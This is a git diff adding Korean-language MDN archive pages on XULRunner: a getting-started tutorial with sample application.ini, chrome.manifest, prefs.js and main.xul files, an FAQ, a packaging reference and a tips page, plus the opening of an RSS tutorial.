+

XUL에서 현재는 다른 공통 대화상자를 제공하고 있지는 못합니다. 향후 버전에서는 수정될 것입니다. Firefox와 Thunderbird는 모두 페이지 설정과 인쇄 공통 대화상자를 지원하고 있습니다. 또한 XUL에서는 마법사를 만드는 요소를 지원합니다.

+

본 시리즈의 향후 기사들에서는 입력 컨트롤, 인쇄, 클립보드, XPCOM에 대해서 알아볼 것입니다.

+

참고 문서

+ +

+

« 이전

+

+
+

원본 문서

+ +
+
+  
diff --git a/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html new file mode 100644 index 0000000000..2207ae7ae0 --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html @@ -0,0 +1,98 @@ +--- +title: Getting started with XULRunner +slug: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner +--- +

+

다음 »

+

+

본 기사에서는 XULRunner를 이용하여 기본적인 데스크탑 응용프로그램을 개발해봄으로써 Mozilla 플랫폼에 대해 알아보겠습니다. Firefox, Thunderbird, 기타 다양한 응용프로그램들이 이 플랫폼을 이용하여 작성되었으며, 기본적인 응용 프로그램을 개발하기에 사용될 수 있을 만큼 충분히 안정적입니다.

+

여러분이 XUL 기반의 데스크탑 응용 프로그램을 개발려고자 한다면, XULRunner를 설치해야 할 것입니다. 먼저 XULRunner를 설치한 후, 골격만 있는 프로그램을 실행해서 제대로 동작하는지 확인해 보겠습니다.

+

1단계: XULRunner 다운로드

+

여러분은 MDC의 메인 XULRunner 페이지에서 다운로드 링크를 찾을 수 있습니다.

+

Windows 버전의 XULRunner는 인스톨러가 아니고 zip 파일로 제공됩니다. 개발자 입장에서는 내 장비에 압축을 해제하기만 하면 된다는 아이디어가 마음에 듭니다. Windwos 시스템을 건드릴 필요가 없을 것 같아서 좋습니다.

+

Mac 버전의 경우는 표준 Mac OS X 인스톨러로 배포됩니다.

+

2단계: XULRunner 설치하기

+

Windows에서는 적당한 위치에 압축을 해제하세요. 나는 C:\program files\xulrunner 폴더를 새로 만들고 이곳에 압축을 풀었습니다. 지금까지는 꽤 간단합니다. Mac의 경우에는 그냥 인스톨러를 실행하면 /Library/Frameworks 디렉토리에 XUL.Framework로 설치되게 됩니다.

+

이제 간단한 뼈대만 있는 간단한 응용 프로그램 껍데기를 만들 시간입니다. 괜찮다면 이 프로그램을 XUL 버전의 "Hello World"라고 하겠습니다. Google 검색을 해보면 괜찮은 자습서를 발견할 수 있습니다. 읽어볼만 합니다. 자습서를 읽고서 나는 간단한 시작 응용 프로그램을 만들었습니다. 아래에 있는 내용들은 모두 Ryans의 자습서과 이곳 MDC에 있는 XULRunner에서도 볼 수 있는 내용들입니다.

+

3단계: 응용 프로그램 폴더 구조 생성

+

윈도우에서, 내 경우 루트 폴더를 c:\program files\myapp로 생성했지만, 아무곳이나 괜찮습니다. 다음은 하위 폴더 구조입니다.

+
/myapp
+  /chrome
+    /content
+      main.xul
+    chrome.manifest
+  /defaults
+    /preferences
+      prefs.js
+  application.ini
+
+

위의 폴더 구조에 4개의 파일 - application.ini, chrome.manifest, prefs.js, main.xul - 이 있다는 것을 명심하세요.

+

4단계: application.ini 설정

+

application.ini 파일은 여러분이 작성하는 응용 프로그램에 대한 XULRunner의 시작점입니다. 이 파일에서는 여러분이 작성한 응용 프로그램이 XULRunner 플랫폼을 어떤 의도로 사용할 것인가를 제시하며, XULRunner가 응용 프로그램을 실행하는데 필요한 정보들에 대한 설정을 포함합니다. 제가 작성한 것은 다음과 같습니다.

+
[App]
+Vendor=Finkle
+Name=Test App
+Version=1.0
+BuildID=20060101
+Copyright=Copyright (c) 2006 Mark Finkle
+ID=xulapp@starkravingfinkle.org
+
+[Gecko]
+MinVersion=1.8
+MaxVersion=1.8
+
+

not really... You can find more information about the <tt>application.ini</tt> file in the article XULRunner:Deploying XULRunner 1.8.

+

주의: 2007 nightly trunk XULRunner build에서 본 예제 프로그램을 실행시키기려면 MaxVersion을 1.9로 수정하세요.

+

5단계: Chrome 선언 설정

+

Chrome 선언 파일은 응용 프로그램에 포함된 자원(resource)의 위치를 나타내기 위해 XULRunner가 사용하는 URI들을 정의합니다. 이는 "chrome://" URI가 사용되는 방법을 보면 잘 알 수 있습니다. 응용 프로그램 chrome은 하나 혹은 몇개의 JAR 파일로 구성되거나 또는 압축되지 않은 폴더와 파일로 구성될 수 있습니다. 여기서는 압축되지 않은 방법을 사용할 것입니다. 내가 작성한 선언 파일은 다음과 같습니다.

+
 content myapp file:content/
+
+
주의: 응용 프로그램 이름은 소문자이고 3자 이상이어야 합니다.
+

6단계: 환경 설정 구성

+

prefs.js 파일에는 XULRunner가 메인 윈도우로 사용할 XUL 파일명에 대한 정보가 포함되어 있습니다. 내 것은 다음과 같습니다.

+
 pref("toolkit.defaultChromeURI", "chrome://myapp/content/main.xul");
+
+

XULRunner 환경 설정에는 다음과 같은 것들이 포함됩니다.

+
toolkit.defaultChromeURI
응용 프로그램이 실행될 때 열릴 기본 윈도우를 지정합니다.
toolkit.defaultChromeFeatures
메인 윈도우가 열릴 때 window.open() 코드에 포함될 기능(feature)들을 지정합니다.
toolkit.singletonWindowType
응용 프로그램이 한번에 하나의 인스터스만을 가지도록 설정합니다.
+
+

이 내용들은 XULRunner:Specifying Startup Chrome Window에 좀 더 자세히 설명되어 있습니다.

+

7단계: XUL 만들기

+

마지막으로 간단한 XUL 윈도우를 만들어야 하는데, 이는 main.xul 파일에 잘 나와 있습니다. 여기 있는 내용은 특별한 건 없고 창을 만들기 위해 필요한 최소한의 것들만 포함되어 있습니다.

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<window id="main" title="My App" width="300" height="300"
+xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+  <caption label="Hello World"/>
+</window>
+
+
주의: XML/XUL 파일의 맨 처음에 공백이 있으면 안됩니다.
+

8단계: 응용 프로그램 실행하기

+

결정적 순간입니다. 응용 프로그램을 실행하기 위해 XULRunner가 필요합니다. Windows의 명령창을 열고 C:\program files\myapp 폴더로 이동한 후 다음의 명령어를 실행하세요.

+
 xulrunner.exe application.ini
+
+

물론, xulrunner.exe는 PATH에 포함되어 있어야 합니다. xulrunner.exe가 경로에 포함되어 있지 않다면 다음과 같이 실행할 수 있습니다.

+
 ..\xulrunner\xulrunner.exe application.ini
+
+

Mac에서는 터미널 창을 열고 myapp 디렉토리로 이동한 후 다음과 같이 입력하시면 됩니다.

+
 /Library/Frameworks/XUL.framework/xulrunner-bin application.ini
+
+

여러분은 다음과 같이 생긴 창을 볼 수 있을 것입니다. 다음 화면은 Ubuntu에서의 화면입니다.

+

Image:XULSampleMyapp.png

+

다른 방법: Firefox3 -app를 이용해 XUL 응용 프로그램을 실행시키기

+

Firefox 3에서는 커맨드 라인을 통해 브라우저 대신 XUL 응용 프로그램이 실행되도록 할 수 있습니다. 이는 XULRunner를 이용하여 XUL 응용 프로그램을 실행하는 것과 비슷합니다. Firefox 3를 이용한 XULRunner 응용 프로그램 실행하기를 참조하세요.

+

예제 프로젝트 다운받기.

+

+

다음 »

+

+
+

원본 정보

+ +
+ +

 

diff --git a/files/ko/archive/mozilla/xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/index.html new file mode 100644 index 0000000000..8e736dc6f8 --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/index.html @@ -0,0 +1,26 @@ +--- +title: XULRunner +slug: Archive/Mozilla/XULRunner +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner +--- +

 

+
XULRunner 입문서
+XULRunner에 대한 간단한 소개.
+
+

XULRunner는 Mozilla 실행시 동작하는(runtime) 패키지로서 Firefox와 Thunderbird의 기능을 풍부하게 하는 XUL과 XPCOM을 불러오게(bootstrap)할 수 있습니다. XULRunner는 XUL 혹은 XPCOM 프로그램을 설치, 업그레이드 그리고 삭제할 수 있는 기능을 제공합니다. XULRunner는 또한 libxul을 지원하는데 이는 다른 프로젝트 혹은 프로그램에 Mozilla를 내장시킬 수 있게 하는 것입니다.

+
+ +

제품 소개

XULRunner trunk (XULRunner 1.9)의 nightly builds는 Mozilla FTP 사이트에서 다운로드 받을 수 있습니다. 설치, 제거, 그 외 정보들은 1.8 제품 소개서를 읽어보세요.

Firefox 3 beta에는 전용 XULRunner 패키지가 포함되어 있으며, 이를 이용해 다른 XULRunner 응용 프로그램을 실행할 수 있습니다.

이전 빌드들도 사용 가능합니다.

개요

문서

모두 보기...
XULRunner 입문서
XULRunner로 데스크탑 응용프로그램을 개발하는 간단한 자습서.
XULRunner 가이드
A fairly complete introduction and tutorial for XULRunner which collates much of the documentation found here.
XULRunner 배우기
XULRunner에 관한 간단한 소개.
XULRunner tips
XULRunner를 사용하는 데 있어서의 팁 모음
XULRunner 1.8 배포하기
XULRunner 1.8는 현재 stable developer preview release 입니다. 이 문서는 단일형식(standalone)의 XUL 응용프로그램을 개발환경에서 배포하는데 XULRunner가 어떻게 사용되는가에 관한 내용입니다.
XULRunner 명예의 전당
XULRunner을 기반으로한 모든 응용프로그램들을 찾아보실 수 있습니다.
Build Documentation
소스를 가져와서 빌드하는 방법을 배울 수 있습니다.
Debug Documentation
여러분의 응용 프로그램을 디버그하기 위해 Venkman을 설정하는 방법

커뮤니티

  • Mozilla 포럼 보기...

관련 주제

XUL
+

Categories

+

Interwiki Language Links

+

 

+

diff --git a/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html b/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html new file mode 100644 index 0000000000..c4b6c5ed6f --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html @@ -0,0 +1,64 @@ +--- +title: What XULRunner Provides +slug: Archive/Mozilla/XULRunner/What_XULRunner_Provides +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner/What_XULRunner_Provides +--- +

 

+

XULRunner의 목적은 XUL 어플리케이션(주요하게 파이어폭스와 썬더버드)을 구축하기 위한 방안 뿐만 아니라 내장 기법을 제공하는 것입니다. 다음 특징이 이미 구현되어 있거나 계획되어 있습니다.

+

 

+

Gecko Features

+ +

사용자 인터페이스 Features

+

XULRunner는 다음과 같은 사용자 인터페이스를 제공하며, 특정 조건하에 XULRunner기반 어플리케이션에서 사용하게 됩니다.

+ +

Embedding APIs

+

XULRunner는 다음과 같은 임베딩 API를 제공합니다.

+ +

The "Maybe" List

+

다음 기능은 이미 논의되어왔고 향후 추가될 예정입니다.

+ +

What's out

+

다음과 같은 기능은 제공하지 않습니다.

+ diff --git a/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html b/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html new file mode 100644 index 0000000000..498bee239e --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html @@ -0,0 +1,107 @@ +--- +title: XUL Application Packaging +slug: Archive/Mozilla/XULRunner/XUL_Application_Packaging +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner/XUL_Application_Packaging +--- +

XULRunner 응용프로그램 꾸러미(package)는 (Firefox 확장 기능처럼) 표준 toolkit 묶음인데, 응용프로그램 기술을 돕는 추가 manifest 파일(<tt>application.ini</tt>)을 하나 갖습니다. XUL 응용프로그램 꾸러미는 대체로 ZIP으로 압축되며 확장자는 .xulapp나 .xpi입니다. XULRunner 명령줄 flag "-install-app"로 설치할 수 있습니다(XULRunner 1.8.0.4 출시 노트 참조).

+

application.ini

+

<tt>application.ini</tt> manifest는 확장기능의 루트에 위치하고 XULRunner가 바르게 응용프로그램을 띄우게 하는 메타데이터(metadata)를 제공합니다. 파일은 <tt>[Headings]</tt>와 <tt>Key=Value</tt> 쌍을 갖는 Windows 방식 INI 파일로 분석됩니다. <tt>;</tt>이나 <tt>#</tt>으로 시작하는 줄은 주석으로 여깁니다.

+

본보기 application.ini 파일은 mozilla source tree에 있습니다.

+

[App] 절

+

<tt>App</tt> 절(section)은 응용프로그램에 관한 메타데이터를 지정합니다.

+

 

+
+
+ Name
+
+ 응용프로그램 이름을 지정합니다.
+ 필수.
+ 보기: <tt>Name=TestApplication</tt> +

 

+
+
+ Version
+
+ 응용프로그램 판 번호를 지정합니다.
+ 필수.
+ 판 번호 매김 세부 사항은 Toolkit 판 구성 참조.
+ 보기: <tt>Version=0.1</tt> +

 

+
+
+ BuildID
+
+ 유일한 build 식별자(identifier)를 지정합니다. 이는 대체로 날짜 식별자이고 매 응용프로그램 출시 때마다 달라야 합니다.
+ 필수.
+ 보기: <tt>BuildID=20060201</tt> +

 

+
+
+ ID
+
+ 유일한 응용프로그램 ID를 지정합니다.
+ 필수.
+ 응용프로그램 ID는, 확장 기능 ID와 같이, email <tt>ApplicationName@vendor.tld</tt>이나 UUID <tt>{12345678-1234-1234-1234-123456789abc}</tt> 형식 중 하나처럼 구성할 수 있습니다. 새로 개발된 응용프로그램은 email 형식을 권장합니다.
+ 보기: <tt>ID=TestApplication@example.tld</tt> +

 

+
+
+ Vendor
+
+ 응용프로그램 vendor를 지정합니다.
+ 선택.
+ 보기: <tt>Vendor=Grinch Productions</tt> +

 

+
+
+

[Gecko] 절

+

<tt>Gecko</tt> 절은 응용프로그램에 필요한 XULRunner 판을 지정합니다.

+

 

+

 

+
+
+ MinVersion
+
+ 이 응용프로그램에 필요한 XULRunner 최소판을 지정합니다.
+ 필수.
+ 보기: <tt>MinVersion=1.8</tt> +

 

+
+
+ MaxVersion
+
+ 이 응용프로그램에 필요한 XULRunner 최대판을 지정합니다.
+ 선택 - 기본값은 XULRunner 2판보다 작은 판입니다.
+ 보기: <tt>MaxVersion=1.8.0.*</tt> +

 

+
+
+

[XRE] 절

+

<tt>XRE</tt> 절은 사용할 수 있는 다양한 XULRunner 시동 기능들을 지정합니다.

+

 

+

 

+
+
+ EnableExtensionManager
+
+ 확장 기능과 확장 기능 관리를 사용 여부를 지정합니다. 맞는 값은 1과 0입니다.
+ 선택 - 기본값은 0입니다.
+ 주의: 이 옵션은 확장 기능/테마 관리자를 UI에서 이용할 수 있게 하는 메뉴 항목을 추가하지 않습니다; 그 일은 응용프로그램 제작자 몫입니다.
+ 보기: <tt>EnableExtensionManager=1</tt> +

 

+
+
+ EnableProfileMigrator</dt>
+
+ 응용프로그램을 처음으로 띄우고 프로파일이 없을 때, nsIProfileMigrator 인터페이스를 통해 프로파일 이전 코드 사용 여부를 지정합니다. 맞는 값은 1과 0입니다.
+ 선택 - 기본값은 0입니다.
+ 주의: 응용프로그램 제작자에게 nsIProfileMigrator 인터페이스를 구현할 책임이 있습니다; 만약 구현이 없으면 이전이 수행되지 않습니다.
+ 보기: <tt>EnableProfileMigrator=1</tt> +

 

+
+
+

Interwiki Language Links

+

diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html new file mode 100644 index 0000000000..35b81ee4da --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html @@ -0,0 +1,64 @@ +--- +title: XULRunner FAQ (자주 하는 질문) +slug: Archive/Mozilla/XULRunner/XULRunner_FAQ +tags: + - FAQ + - XUL + - XULRunner + - 도움말 + - 주요문의 + - 질문과 답변 +translation_of: Archive/Mozilla/XULRunner/FAQ +--- +

 

+

이 페이지는 XULRunner에 관한 많은 분들의 질문들에 대한 답변과 공통적으로 오해하는 내용들을 바로잡기 위해 작성되었습니다.

+

 

+
+
+ XULRunner는 브라우저인가요?
+
+ 아니오. 브라우저(제가 만든 브라우저 예제 또는  Firefox)를 만들기 위해 XULRunner를 사용하실 수는 있습니다. 하지만 "XULRunner browser" 같은 건 없습니다.
+
+ XULRunner는 개발 도구인가요?
+
+ 딱히 그렇다고 볼 순 없습니다. XULRunner는 인터넷 기술 실행도구(Runtime)입니다. XULRunner는 (예를 들면 AJAX Toolkit Framework 같은) 개발 도구의 제작에 활용될 수 있습니다. 훗날에는 다양한 개발 도구들을 포함하는 XULRunner 개발 키트(Developer Kit)가 나올 수도 있겠지요.
+
+ XULRunner를 Java, .NET(또는 Python) 등의 다른 실행도구(Runtime)들과 비교하면 어떻게 다른가요?
+
+ XULRunner의 목적은 인터넷 응용프로그램의 개발과 배포를 더욱 빠르게 해주기 위한 것입니다. 그렇기 때문에 모든 기능을 포함하는 실행도구가 될 필요가 없는 것이지요. 이러한 이유로 다른 여타의 방대한 기능을 제공하는 실행도구들에 비해, XULRunner는 아주 약간의 변화와 더욱 간소화된 배포 전략을 취할 수 있었습니다.
+
+ XULRunner를 사용한다면 저의 응용 프로그램을 XUL로 작성해야만 하나요?
+
+ 아닙니다! 여러분은 Mozilla 웹 플랫폼(HTML, XHTML, SVG 또는 XUL이 포함됨)에 의해 지원되는 어떠한 언어로도 응용 프로그램을 만드실 수 있습니다.
+
+ 그렇다면 왜 XULRunner이라고 불러야 하죠? HTMLRunner나 다른 이름으로도 불러도 될텐데?
+
+ XUL은 mozilla의 응용 프로그램의 UI에 항상 선택되어 왔던 기본 언어였습니다. 그리고  메인 라이브러리의 명칭이 libXUL이였습니다. 이런 이유들로 불리워진 이름이 고착화 되어서 지금에 이르게 된 것이지요.
+
+ 언제쯤이면 Firefox가 XULRunner 기반으로 제작될 예정이지요?
+
+ FireFox의 공식 배포 버전을 그렇게 변경하지는 않을 것입니다. 이미 XULRunner 기반으로 FireFox를 실행하는 것은 지금도 가능하고, 일부 Linux 배포판에서도 이미 이런 식으로 구동이 되고 있습니다.
+
+ XULRunner의 설치는 왜 그리 어려운가요? 쉽고 편리한 설치 도구는 없나요?
+
+ 왜나하면 아직 아무도 그런 코드를 만들지 않아서입니다! 다음은 개발자 프리뷰 배포 내용입니다.
+
+ XULRunner 및 XULRunner 기반 응용 프로그램의 설치와 배포를 위한 추가 기능들은 차후의 릴리즈에 반영될 것입니다.
+
+ XUL 응용 프로그램을 제작 중인데요, 저의 사용자들에게 어떻게 응용 프로그램을 배포할 수 있나요?
+
+ 지금 현재로써 Mozilla는 각각의 응용 프로그램별로 XULRunner를 따로 포함시켜 배포하시기를 권해 드립니다. 더 자세한 정보는 XULRunner 1.8 배포하기를 확인하세요.
+
+ 소스 코드는 어디에서 찾을 수 있나요?
+
+ 여기에서 확인하세요.
+
+ 제가 버그를 발견한 것 같은데요, 어떻게 알려드릴 수 있나요?
+
+ bugzilla.mozilla.org 사이트는 모든 Mozilla 제품들의 버그를 추적하기 위해 이용됩니다. 미리 검색을 해서 여러분의 버그가 아직 보고되지 않은 것임을 확인해 주세요.
+
+ 어떻게 도움을 줄 수 있나요?
+
+ XULRunner에 도움을 주고 싶지만 어디에서부터 시작해야 할지를 모르신다면, XULRunner:커뮤니티 페이지를 방문해서 뉴스그룹이나 IRC 채널에서 질문해 보세요.
+
+

diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html new file mode 100644 index 0000000000..ed5384c6b1 --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html @@ -0,0 +1,178 @@ +--- +title: XULRunner Hall of Fame +slug: Archive/Mozilla/XULRunner/XULRunner_Hall_of_Fame +tags: + - XUL + - XULRunner + - enterprise +translation_of: Archive/Mozilla/XULRunner/Hall_of_Fame +--- +

 

+

XULRunner 기반 프로그램

+ +

유틸리티/프로토타입

+ +

diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html new file mode 100644 index 0000000000..44d681cd22 --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html @@ -0,0 +1,168 @@ +--- +title: XULRunner tips +slug: Archive/Mozilla/XULRunner/XULRunner_tips +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner/Tips +--- +

XULRunner Frequently Asked Questions. Work in progress.

+

Extension Manager

+

To be able to install any extensions, you first need to enable the Extension Manager in application.ini. XULRunner 1.8.0 does not load extensions from the application directory; only the XULRunner directory and the user profile directory are checked. The following prefs must also be set to make the XPInstall dialog, extension manager, and theme manager work:

+
pref("xpinstall.dialog.confirm", "chrome://mozapps/content/xpinstall/x...allConfirm.xul");
+pref("xpinstall.dialog.progress.skin", "chrome://mozapps/content/extensions/...ul?type=themes");
+pref("xpinstall.dialog.progress.chrome", "chrome://mozapps/content/extensions/...ype=extensions");
+pref("xpinstall.dialog.progress.type.skin", "Extension:Manager-themes");
+pref("xpinstall.dialog.progress.type.chrome", "Extension:Manager-extensions");
+pref("extensions.update.enabled", true);
+pref("extensions.update.interval", 86400);
+pref("extensions.dss.enabled", false);
+pref("extensions.dss.switchPending", false);
+pref("extensions.ignoreMTimeChanges", false);
+pref("extensions.logging.enabled", false);
+pref("general.skins.selectedSkin", "classic/1.0");
+// NB these point at AMO
+pref("extensions.update.url", "chrome://mozapps/locale/extensions/e...ons.properties");
+pref("extensions.getMoreExtensionsURL", "chrome://mozapps/locale/extensions/e...ons.properties");
+pref("extensions.getMoreThemesURL", "chrome://mozapps/locale/extensions/e...ons.properties");
+
+

Useful Chrome URLs

+

Most of these require branding.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
WindowURLWindow Type
Extension Managerchrome://mozapps/content/extensions/...ype=extensionsExtension:Manager-extensions
Theme Managerchrome://mozapps/content/extensions/...ul?type=themesExtension:Manager-themes
JavaScript Consolechrome://global/content/console.xulglobal:console
about:configchrome://global/content/config.xul 
+

Developer Extensions

+

--Tlaurenzo 17:34, 17 March 2006 (PST)There is another way to go about this. See my blog post for a working method to get Venkman and the Extension Developer's Extension working in XULRunner apps.

+

Venkman

+ +
in your chrome manifest add a "skin" line:
+
+skin communicator classic/1.0 skin/communicator/
+
+add a skin folder named "communicator" and add a single CSS file named "communicator.css" with this content:
+
+@import url("chrome://global/skin/");
+
+

DOM Inspector

+

Same as venkman

+

Component Viewer

+

Need custom build, first of all. What else?

+

Extension Developer's Extension

+

Extension Developer's Extension is a useful tool, featuring Live XUL Editor and JavaScript Shell.

+

To install the extension into your application you'll need to hack its install.rdf (see above). You'll probably also want to create menuitems that let you open the JS Shell and other tools provided by the extension.

+

Branding

+

Branding is a chrome package containing product-specific information (e.g. the product name, vendor, and logo).

+

Some XULRunner components (in particular, the Extension Manager) depend on branding, in the sense that they expect to find certain strings in <tt>chrome://branding/locale/brand.dtd</tt> and <tt>chrome://branding/locale/brand.properties</tt>.

+

In order to satisfy these dependencies, you can save Firefox's <tt>brand.dtd</tt>/<tt>brand.properties</tt> to <tt>chrome/locale/branding</tt> folder, modify them appropriately, and register a locale provider for <tt>branding</tt> by adding the following line to your chrome manifest:

+
locale branding en-US chrome/locale/branding/
+
+

The location you put the branding files in doesn't matter, as long as you register it appropriately in the manifest.

+

In addition, a branding content package must be registered to include the application logo:

+
content branding chrome/branding
+
+

2 icon files must provided in this folder : + + icon48.png + and + + icon64.png + . See Firefox for example.

+

In ''~.mozconfig'': ac_add_options --enable-branding=« branding location »

+

Making Windows display correct application name and icon when buttons are grouped

+

By default, the task bar on Windows might group windows belonging to the same process into one button to save space. This button is usually called "xulrunner.exe" and has XULRunner's icon. There are two approaches to display the branding of your application instead:

+ +

Reading command line arguments

+

See Chrome: Command Line. Command line arguments are handled via nsICommandLineHandler as usual.

+

= Can i have JavaScript errors / warnings directed to stdout instead of the jsconsole? = See #306263 This doesn't do anything (1.8.0.1): xulrunner -app application.ini -console This neither (1.8.0.1) in ''defaults/preferences/«application name».js'': pref("javascript.options.strict", true); pref("javascript.options.showInConsole", true); pref("browser.dom.window.dump.enabled", true);

+

 

+

Preferences needed for file download dialogs

+

To use the unknown-content-type and file-downloads dialogs from a <browser> element, you need to add the following prefs:

+
pref("browser.download.useDownloadDir", true);
+pref("browser.download.folderList", 0);
+pref("browser.download.manager.showAlertOnComplete", true);
+pref("browser.download.manager.showAlertInterval", 2000);
+pref("browser.download.manager.retention", 2);
+pref("browser.download.manager.showWhenStarting", true);
+pref("browser.download.manager.useWindow", true);
+pref("browser.download.manager.closeWhenDone", true);
+pref("browser.download.manager.openDelay", 0);
+pref("browser.download.manager.focusWhenStarting", false);
+pref("browser.download.manager.flashCount", 2);
+//
+pref("alerts.slideIncrement", 1);
+pref("alerts.slideIncrementTime", 10);
+pref("alerts.totalOpenTime", 4000);
+pref("alerts.height", 50);
+
+

If you are missing preferences that a dialog requires, you will get the following errors:

+
Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPrefBranch.getBoolPref]
+
+Error: dialog has no properties
+Source File: chrome://mozapps/content/downloads/u...ontentType.xul
+Line: 1
+
+

 

+

Enabling Password Manager

+

These preferences seem to be the default in Firefox, however, they are missing in XULRunner. Without these settings Password Manager will not store login details.

+
pref("signon.rememberSignons", true);
+pref("signon.expireMasterPassword", false);
+pref("signon.SignonFileName", "signons.txt");
+
+

You also need to get an instance of the login manager service, which internally initializes the system:

+
Components.classes["@mozilla.org/login-manager;1"].getService(Components.interfaces.nsILoginManager);
+
+

Firefox 3를 이용한 XULRunner 응용 프로그램 실행하기

+

Firefox 3에는 XULRunner 런타임(runtime)이 포함되어 있습니다. 브라우저 대신 XUL 응용 프로그램을 실행하려면 명령창에서 <tt>-app</tt> 옵션으로 실행하면 됩니다. 예를 들어 Windows에서는 다음과 같습니다.

+
  firefox.exe -apppath\to\application.ini
+
+

Mac에서는 다음과 같습니다.

+
  /Applications/Firefox.app/Contents/MacOS/firefox-bin -app/path/to/application.ini
+
+

Mac의 경우에는 전체 경로(full path)를 모두 입력해야 한다는 점에 주의하세요. 상대 경로를 사용하면 동작하지 않는거 같습니다.

+

Troubleshooting

+

Window title missing

+

If the title of your XUL <window> is blank, even though you specified a title attribute, make sure the extension on your XUL file is <tt>.xul</tt> rather than <tt>.xml</tt>.

+
+  
+

diff --git a/files/ko/archive/rss/getting_started/index.html b/files/ko/archive/rss/getting_started/index.html new file mode 100644 index 0000000000..a446858ece --- /dev/null +++ b/files/ko/archive/rss/getting_started/index.html @@ -0,0 +1,56 @@ +--- +title: Getting Started +slug: Archive/RSS/Getting_Started +tags: + - MDC Project + - NeedsEditorialReview + - RSS + - 'RSS:Getting_Started' +translation_of: Archive/RSS/Getting_Started +--- +

개요

+

이 입문서는 Really Simple Syndication (RSS)에 대한 것입니다.

+

여기서는 단계별로 RSS의 기본을 따라가면서 실제로 동작하는 예를 보여줄 것입니다. 그리고 + + 무언가를 배우는 가장 좋은 방법은 직접 해보는 것이다 + 라는 경구를 따라, 당신 스스로 RSS 파일을 직접 만들게 될 것입니다.

+

 

+

누가 읽어야 하는가?

+

이 입문서는 주로 RSS 초보자, 즉 거의 혹은 전혀 RSS를 경험해보지 못한 사람들을 대상으로 하고 있습니다. 하지만, RSS에 경험이 있는 사람에게도 모르고 있던 정보를 알게 되거나 알고 있던 것을 새롭게 환기하는 용도로 사용될 수 있습니다.

+

이 입문서는 독자가 HTML (혹은 XML)에 어느 정도 경험이 있으며, 기본적인 + + 마크업 + 을 다룰 수 있다고 가정합니다. 다시 말해, 이런 코드를 어렵지 않게 읽을 수 있어야 합니다.

+
   이 마크업은 <b>굵은 글자를</b> 표시합니다.
+
+

이 정도라면 RSS를 배우는데 지장이 없습니다.

+
+

NOTE: 웹 개발자나 웹 개발자가 되려고 하지 않는 사람에게는 이 입문서가 해당되지 않습니다. 입문서를 잘 사용하려면 + + 마크업 + 을 쓸 주 있어야 합니다.

+
+

시작하기 전에 필요한 것

+

이 입문서를 잘 활용하기 위해서는, 텍스트 편집기와 RSS 리더가 필요합니다. 그리고 그 편집기와 RSS 리더의 사용법을 알고 있어야 합니다.

+
+

NOTE: 워드 프로세서는 텍스트 편집기가 아닙니다. 워드 프로세서를 사용하는 경우, RSS 파일을 저장할 때 반드시 단순한 text 형식으로 저장해야 합니다.

+
+

이 입문서의 RSS 파일들을 반드시 만들어야 하는 것은 아니고 그냥 읽기만 해도 되지만, 그것은 배우는 데 있어 좋은 방법은 아닙니다. RSS 파일을 스스로 만들 때 더 많은 것을 잘 배우게 될 것입니다.

+

이 입문서의 사용법

+

입문서의 각 장은 그것만으로도 + + 독자적인 + 입문선가 될 수 있도록 쓰여졌지만, 각 장은 이전 장의 내용을 독자가 모두 알고 있다고 가정하고 있습니다. 원하는 장부터 시작해도 되지만, RSS 초보자는 순서대로 읽기를 권합니다.

+

Tutorial

+
    +
  1. What is RSS
  2. +
  3. Why use RSS
  4. +
  5. How RSS Works
  6. +
  7. Hello World (article not yet written) link removed because too many people put their hello world there
  8. +
  9. Syndicating
  10. +
  11. Blogs
  12. +
  13. Broadcatching
  14. +
  15. Microformats
  16. +
  17. Advanced Broadcatching
  18. +
+

diff --git a/files/ko/archive/rss/getting_started/what_is_rss/index.html b/files/ko/archive/rss/getting_started/what_is_rss/index.html new file mode 100644 index 0000000000..0ec7281c2a --- /dev/null +++ b/files/ko/archive/rss/getting_started/what_is_rss/index.html @@ -0,0 +1,230 @@ +--- +title: What is RSS +slug: Archive/RSS/Getting_Started/What_is_RSS +tags: + - 'RSS:Getting_Started' +translation_of: Archive/RSS/Getting_Started/What_is_RSS +--- +

이 문서는 RSS가 무엇인지 설명하기 위해 만들어졌습니다. 여러분은 아직 RSS를 만들어 본 적이 없으실 겁니다. 그렇지만 RSS를 어떻게 사용하는 지 아시기도 하고, 간단한 샘플 파일을 보신적이 있으실 겁니다. RSS가 무엇이고 어떻게 만들어진 것인지 한번 알아보겠습니다.

+

RSS란 무엇인가?

+

